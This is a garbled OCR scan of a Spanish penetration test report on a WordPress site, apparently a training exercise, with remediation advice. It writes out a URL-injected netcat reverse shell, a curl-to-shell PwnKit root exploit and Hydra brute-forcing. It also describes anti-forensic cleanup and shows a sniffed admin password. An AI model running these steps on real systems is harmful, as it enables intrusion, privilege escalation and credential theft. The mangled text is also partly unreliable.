drwxr-xr-x 2 root root 4096 Nov 22 2021 soc

drwxr-xr-x 2 www-data www-data 4096 Feb 5 14:06 storage

drwxr-xr-x 2 www-data www-data 4096 Jun 24 2018 wordpress

-rw-r--r-- 1 www-data www-data 7762865 Apr 12 2016 wordpress-4.5.tar.gz
-rw-r--r-- 1 www-data www-data 5032 Jan 28 2016 wp-activate.php
drwxr-xr-x 9 www-data www-data 4096 Apr 12 2016 wp-admin

-rw-r--r-- 1 www-data www-data 364 Dec 19 2015 wp-blog-header.php
-rw-r--r-- 1 www-data www-data 1476 Jan 30 2016 wp-comments-post.php
-rw-r--r-- 1 www-data www-data 2853 Dec 16 2015 wp-config-sample.php
-rw-r--r-- 1 www-data www-data 2925 Feb 5 13:22 wp-config.php
drwxr-xr-x 6 www-data www-data 4096 May 27 22:55 wp-content
-rw-r--r-- 1 www-data www-data 3286 May 24 2015 wp-cron.php
drwxr-xr-x 16 www-data www-data 12288 Apr 12 2016 wp-includes
-rw-r--r-- 1 www-data www-data 2380 Oct 24 2013 wp-links-opml.php
-rw-r--r-- 1 www-data www-data 3316 Nov 5 2015 wp-load.php
-rw-r--r-- 1 www-data www-data 33852 Jun 26 2018 wp-login.php
-rw-r--r-- 1 www-data www-data 8094 Jun 26 2018 wp-mail.php
-rw-r--r-- 1 www-data www-data 13106 Feb 17 2016 wp-settings.php
-rw-r--r-- 1 www-data www-data 28624 Jan 28 2016 wp-signup.php
-rw-r--r-- 1 www-data www-data 4035 Nov 30 2014 wp-trackback.php
-rw-r--r-- 1 www-data www-data 3061 Oct 2 2015 xmlrpc.php

Habiendo comprobado que tfenemos posibilidad de ejecutar comandos de manera remota,
podemos dejar en el servidor una shell reversa creada con netcat:

=RelelaglelaleleRUiiIvieloloRM /Din /bash O<return | nc -1 -p 6666 l>return
el cual fue agregado a la url encodeado.

http://bridgedesign.space/wp-content/plugins/akismet/akismet.php2cmd=/bin/bash%200%3Cr
eturn%20 | %20NC%20-1%20-p%206666%201%3Ereturn

Luego si nos conectamos de manera remota a la ip publica del servidor y al puerto que
dejamos a la escucha anteriormente conseguimos una consola interactiva al servidor con el

usuario www-data.

[destination]

nc 192.241.141.49 7575
nc 192.241.141.49 6666
whoami
www-data

Todas las capturas fueron tomadas en el dia 27/05/2022

RECOMENDACION
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Eliminar repositorios publicos o bien hacerlos privados para que no queden expuestos datos
sensibles como confrasenas o archivos de configuracion con datos sensibles.

Lo ideal también seria que se actualicen las contrasenas, ya que por mds que se elimine o se
haga privado un repositorio, el atacante puede tener ya los datos necesarios para poder
ingresar al sitio. A su vez, las confrasenas deben ser contrasenas fuertes y de varios caracteres
para gue no sea tan sencillo descifrarlas.

Otra opcidn para proteger la autenticacion a wordpress es utilizar un método de doble factor
de autenticacién. Esto se puede lograr a fravés de la instalacion de plugins de terceros.

RiEsGO

Con este ataque se pudo leer archivos de configuracidon (wp-config.php) con acceso a una
base de datos del sitio web, la cual tiene un cliente disponible para acceder mediante
hitp://bridgedesign.space/phpmyadmin/

Esto da lugar a ataques de tipo ramsomware y la posibilidad de extraer datos de clientes que se
hayan comunicado a través del sitio web.

Lo md&s critico, es que una vez autenticado como www-data en el servidor, se puede escalar

privilegios de una forma sencilla y obtener control total del servidor.

ESCALADO DE PRIVILEGIOS

DESCRIPCION

Teniendo una consola interactiva en el servidor con el usuario www-data, se pudo escalar
privilegios directamente a root explotando la vulnerabilidad CVE-2021-4034, la cual hace uso
del ejecutable pkexec.

SEVERIDAD

Segun NIST, esta vulnerabilidad estd catalogada como ALTA, con un puntaje de 7.8:
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https://wordpress.org/plugins/wp-2fa/
https://nvd.nist.gov/vuln/detail/CVE-2021-4034

Seve r|ty CVSS Version 3.x CVSS Version 2.0

CVSS 3.x Severity and Metrics:

m NIST: NVD Base Score: |[EHIGH] Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

NVD Analysts use publicly available information to associate vector strings and CVSS scores. We also display any CVSS information provided within the
CVE List from the CNA.

Note: NVD Analysts have published a CVSS score for this CVE based on publicly available information at the time of analysis. The CNA has not provided
a score within the CVE List.

Esto se debe a que sin importar el usuario, se puede escalar a root con un solo comando.

EviDenciA

Se comprobd la existencia de pkexec:

Luego se utilizé un comando de una sola linea que explota dicha vulnerabilidad, el cual se

puede encontrar en hitps://github.com/lv4k/PwnKit:

sh -c "$(curl -fsSL hitps://raw.githubusercontent.com/lydk/PwnKit/main/PwnKit.sh)"

Si bien hay varias pruebas de concepto que explotan esta vulnerabilidad, esta permite hacerlo
a través de un shell script que www-data puede ejecutar. Ya que la vulnerabilidad consiste en
compilar un archivo .c y esto hace el proceso del ataque mds complejo.

Resultado:

Una vez realizado este proceso ya tfenemos control del usuario root, por lo tanto del servidor.

Se puede comprobar el permiso SUID del ejecutable pkexec en el siguiente comando:
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Huswwry
find / -type T -perm -04000 -1s 2>/dev/null
29189 iZ -TWST-XI-X i rootl root 10232 Mar 27 2017 Jfusr/lib/eject/dmcrypt-get-device
26124 -FWSF-Xr-Xx root root 38984 Jun 14 2017 fusr/lib/x86_64-1inux-gnu/Llxc/lxc-user-nic
28135 ~FWSM=-Xr-X root root 428240 Mar 4 2819 fusr/libj/openssh/ssh-keysign
17326 ~FWSr-Xr-- root messagebus 42992 Jun 2020 fusr/lib/dbus-1.0/dbus-daemon-launch-helper
6768 16 -rwsr-xr-x root root 14864 Mar 2019 fusr/lib/policykit-1/polkit-agent-helper-1
9888 > root root 110792 Feb 1 fusr/lib/snapd/snap-confine
24263 X root root 40432 May 17 fusr/bin/chsh
17070 X root root 136808 Jan 1 /usr/bin/sudo
24590 X daemon daemon 51464 Jan 16 fusr/bin/fat
24478 X root root 32944 May Jusr/bin/newgidmap
24266 X root root 54256 May 17 fusr/bin/passwd
24264 X root root 75304 May 17 fusr/bin/gpasswd
24111 X root root 39904 May 17 fusr/bin/newgrp
24265 X root root 49584 May 17 /fusr/bin/chfn
6772 X root root PEEYETS 19 fusr/bin/pkexec
24477 X root root 32944 May Jusr/bin/newuidmap
X root root 30800 Jul 16 /bin/fusermount
X root root 40128 May 17 /bin/su
X root root 44168 May 14 /bin/ping
X root root 27608 Nov 17 /bin/umount
root root 40152 Nov 17 /bin/mount
root root 44680 May /bin/ping6

-TWSM-Xr-X
-TWSM-Xr-X

RRERRRRERRRERRERRRRRRBRBERRRBE -

RECOMENDACION

Actualizar el sistema operativo del servidor (Ubuntu) a su Ultima versién.

De no haber un parche oficial disponible para esta vulnerabilidad, lo ideal es eliminar el permiso
de SUID del ejecutable pkexec mediante el siguiente comando:

chmod 0755 /usr/bin/pkexec

De esta forma, no se podrd escalar privilegios a través de este ejecutable.

ATAQUE BRUTEFORCE Y PASSWORD CRACKING:

HERRAMIENTAS UTILIZADAS

DESCRIPCION

En este Anexo, se muestra cémo se obtuvo Usuario y Contrasena por medio de fuerza bruta
utilizando un diccionario elaborado previamente a mano, indicando palabras y nimeros
relevantes a la organizacion y sus usuarios.

EviDeEnciA

A) En este primer apartado, se observa cémo se generd el diccionario
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File Actions Edit

Crunch will now

rate the following number of lines:

crunch: : completed generating output

crunch: completed generating output

crunch: completed generating output

crunch: completed generating output

crunch: completed erating output

crunch: completed g ing output

crunch: completed generating output

crunch: ; completed ating output

crunch: completed generating output

crunch: mpleted generating output

-[~/Desktop]

B)

En el paso siguiente, vemos los intentos con el diccionario creado anteriormente, donde

en el quinto infento por medio de la herramienta Hydra, se logra ingresar con el usuario:

tomashsrv y contrasena: to******18,

File Actions Edit View Help

-[~/Desktop]
1.141.49 ssh -1

by wvan Hause & David M
(this is non-binding,

ion

tion is supp
“tomashs
"tomashsrv
“"tomashs
"tomashsrv

[ATTEMPT]
[ATTEMPT]

r 1.141.49 ( id
completed, 1 valid passw
hc-hydra)

-[~/Desktop]

tomashsrv |

kali@kali: ~/Desktop

/home/kali/Desktop/10.txt —f

do not use
and ethics

in milit
anywa

child ©
[child @
child @

B [child

RECOMENDACION

Se recomienda utilizar contrasenas mds seguras, de mds combinaciones de caracteres y mds

largas.

Para el caso de SSH, se recomienda deshabilitar la autenticacién por clave y en su lugar utilizar

claves publicas y privadas, de modo de que solo se pueda autenticar una computadora

autorizada.
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Otro método de seguridad puede ser utilizar un servidor bastién, de modo de que se deba
autenticar al bastion antes de poder autenticarse al servidor principal.

Post ExPLOTACION

DESCRIPCION

Una vez dentro del servidor, se logré impersonar al usuario tomashsrv con la clave obtenida
anteriormente en la etapa de password cracking.

Esto permitié el ingreso remoto posterior sin necesidad de realizar ofro ataque.

Por otro lado, se eliminaron huellas generadas en la etapa de explotacién las cuales fueron:

El historial de bash, para que no queden registros de los comandos efectuados. Las lineas de
PHP gue se inyectaron en el plugin, para que el atague no sea visible. Y también se elimind un
archivo generado dentro de la carpeta del plugin llamado “return”, que se utilizd para
conseguir una consola interactiva anteriormente.

SNIFFING

HERRAMIENTAS UTILIZADAS

Para hacer un sniffing de la red se utilizdé Wireshark.

DESCRIPCION

El sifio bridgedesign.space se encuentra sin cerfificado de SSL, es decir que al navegar por €l
sitio lo hacemos por HTTP y no por HTTPS. Esto es inseguro de modo que cualquier trafico por
HTTP que pase por el sitio estard sin cifrar. Lo cual permite a cualquier atacante mirar ese trdfico
y exiraer cualquier tipo de daftos.

Para poder realizar este ataque, es necesario que el atacante se encuentre en la misma red
que el cliente, o bien del servidor.

SEVERIDAD

Base Scores Temporal Environmental Overall CVSS Base Score: 9.6
10.0 10. 10.0 Impact Subscore: 6.0
9.6 g ( 8.0 . . -
8.6 : 8.7 : 8.7 Expleitability Subscore: 2.8
6.0 6.0 CVSS Temporal Score: 8.6

6.0 6.1
4 CVSS Environmental Score: 8.7
Modified Impact Subscore: 6.1

Overall CVSS Score: 8.7

Como se puede observar en el CVSS score en promedio general la vulnerabilidad presenta una
severidad elevada ya que los valores de todos los scores dan por arriba de 7 puntos. La
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severidad se considera baja si el puntaje obtenido luego de aplicar la férmula CVSS resulta
entfre 0.0 y 3.9. Elimpacto es medio si el resulfado se ubica entre 4.0 y 6.9. Se considera alto
cuando el puntaje cae denfro delrango 7.0y 10.0.

EviDENCIA

Para comprobar esto se realizé una prueba con wireshark, filtrando por todas las
comunicaciones salientes hacia la IP de bridgedesign.space. Para ser mds especificos, se filtrd
por consultas HTTP de tipo POST, que es lo que se ejecuta cuando alguien ingresa al panel de
administracién wordpress.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

f g FE \ \ ™ , == EEae
AR omiERL QesE38 =5 & -
‘N http.request. method == *POST" B - +
No. Time Source Destination Protocol Lengtt Info

159 33.

735261938 18.8.2.15 192.241.141.49

Full request URI: http:.//bridgedesign.space/wp-login.php] -
[HTTP request 1/3]
Response in frame: 161]

ext request iIn frame: 163]
113 bytes
ncoded:

1le Data:
ML

orm URL applicatlonSx-www-Torm-urlencoded
orm item: “log" = "admin®
Form item: “"pwd" = "to

"redirect_to" = “"http://bridgedesign.space/wp-admin/"

¢ Form item:

» Form item: “"testcookie™ = "1" -
L1 [
8218 rdpress_ test coo -
e22e ) kie=WP+C ookie+cCh
8236 : B4 Upg rade-Ins
| 2d 52 71 65 73 200 ecure-Re guests:
31 8d Ga @d Ba 6c 6F 67 3d 61 64 6d 69 Ge 26 70 1 log =admingp
77 64 3d 74 6F 6d 61 73 77 70 32 30 31 38 26 77 wd=tomas wp201B&w
'} T8 2d 73 75 62 6d 69 74 3d 4c 6T 67 2b 49 Ge 26 p-submit =Log+In&
72 65 64 69 72 65 63 74 5F 74 6F 3d 68 74 74 70 redirect _to=hitp
25 33 41 25 32 46 25 32 46 62 72 69 64 67 65 64 X3IAX2F%Z2 Fbridged
65 73 69 67 6e 2e 73 7@ 61 63 65 25 32 46 77 70 esign.sp acek2Fwp
2 2d 61 64 6d 69 Be 25 32 46 26 74 65 T3 74 63 6T -admin%2 Fa&testco
6r 6b 69 65 3d 31 okie=1 -
O 7 HTMLF.. byte: Packets: 378 ' Displayed: 1 (0.3%) ' Dropped: 0 (0.0%) Profile: Default
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RECOMENDACION

Poner un certificado de SSL cuanto antes. Hay servicios gratuitos como Let's Encrypt o
Cloudflare que permiten instalarlo de manera sencilla.

Riesco

Ademds del riesgo de que un atacante pueda ver todo el trafico entrante y saliente del sitio, el
no tener certificado SSL hoy en dia es “penalizado” por los motores de bUsqueda y posicionan
el sitio a lo Ultimo. También lo hacen los navegadores evitando que los usuarios ingresen al sitio

por su seguridad.

ANEXOS

B Contsoio Bradge Desgn Argents X

® domgoo

Email *

fermtest pertestersigmail com

Dejenos su consulta *

e COormesponda

Congulioda, nuestng equipe actualmente se encuentra

I8 Varela, de Famte

erlas vulnenshilidaces, a destacar

fenciales

210 o la empresa, Huga Tamas
: a informackin de

bles con &l fin de

wiha eliminacion de |a mfarmacin quee la empress mane|a

& comunicar e5bo a la brevedad al sector de Seguridad IT

3 pranta carreccicn de o nodificade

amas 54 respuesta

Atentamer
Fermest Consultara

Esta captura corresponde al aviso sobre la vulnerabilidad critica mencionada en el Resumen

Ejecutivo. Esta captura fue tomada el 30/05/2022.
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https://letsencrypt.org/
https://www.cloudflare.com/

7

PROBLEMA DE NFIGURACION

Dentro de Linux con Web server, la carpeta VAR tendria que estar en otra particion distinta del
/home.

También se encontraron problemas con los logs debido a que pueden llenar /var y hacer que
caiga el sistema entero.

Por lo que habria que tener en cuenta para posibles mejoras: Tamano de disco, tamano log,
cada cuanto se genera lo, para evitar asi una posible inhabilitacion del sistema.

RIESGO DE DEFACE

A través del Wordpress se podria editar el Home page, generando un phishing o impidiendo el
acceso de los clientes a informacion de la empresa.

HACK STORY

Deface

Deface o defacement es entrar sin autorizacion en un servidor web y manipular la pagina principal, dejando algun tipo de
mensaje en texto, imagen, video... Puede ser de caracter reivindicativo politico, lo que seria hackiivismo, o para
avergonzar a los responsables del sitio, o simplemente un graffiti al estilo Paco estuvo aqui. Hay grupos especializados en
hacer defaces, incluso quienes se lo toman como una competicion.

Owned by
AdminP4nic

LatinHackTeam

@flatinhackteam

S whereis sed

whereis: security: Cannot be found on this server.

Against Monopoly Companies.

Esta posibilidad habilitaria un atague tipo Man in the Middle interceptando y desviando la
cartera de clientes de la empresa para alguna empresa de competencia.

REPORTE ZAP

Aca se adjunta el reporte que nos dio ZAP de las vulnerabilidades , probamos de explotarlas
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pero no tuvimos resultado, lo adjuntamos igual como muestra.

Advanced SQL Injection - AND boolean-based
blind - WHERE or HAVING clause

Advanced SQL Injection - Microsoft SQL Server
/Sybase time-based blind

Advanced SQL Injection - MySQL > 5.0.11
stacked queries (SELECT - comment

Advanced SQL Injection - MySQL >= 5.0 boolean-
based blind - Parameter replace

Advanced SQL Injection - MySQL >= 5.0.12 AND
time-based blind (SELECT)

Instances

1

1
1
4
1

Information Disclosure - Sensitive Information in

UEL
Information Disclosure - Suspicious Comments

46
2
6
6
6
10
15
Vulnerable JS Library 4
Cookie No HttpOnly Flag Low 4
Cookie without SameSite Attribute Low 38
Private |P Disclosure Low 12
Timestamp Disclosure - Unix Low 1074
X-Content-Type-Options Header Missing Low 65
CSP: X-Content-Security-Policy 6
CSP: X-WebKit-CSP 6
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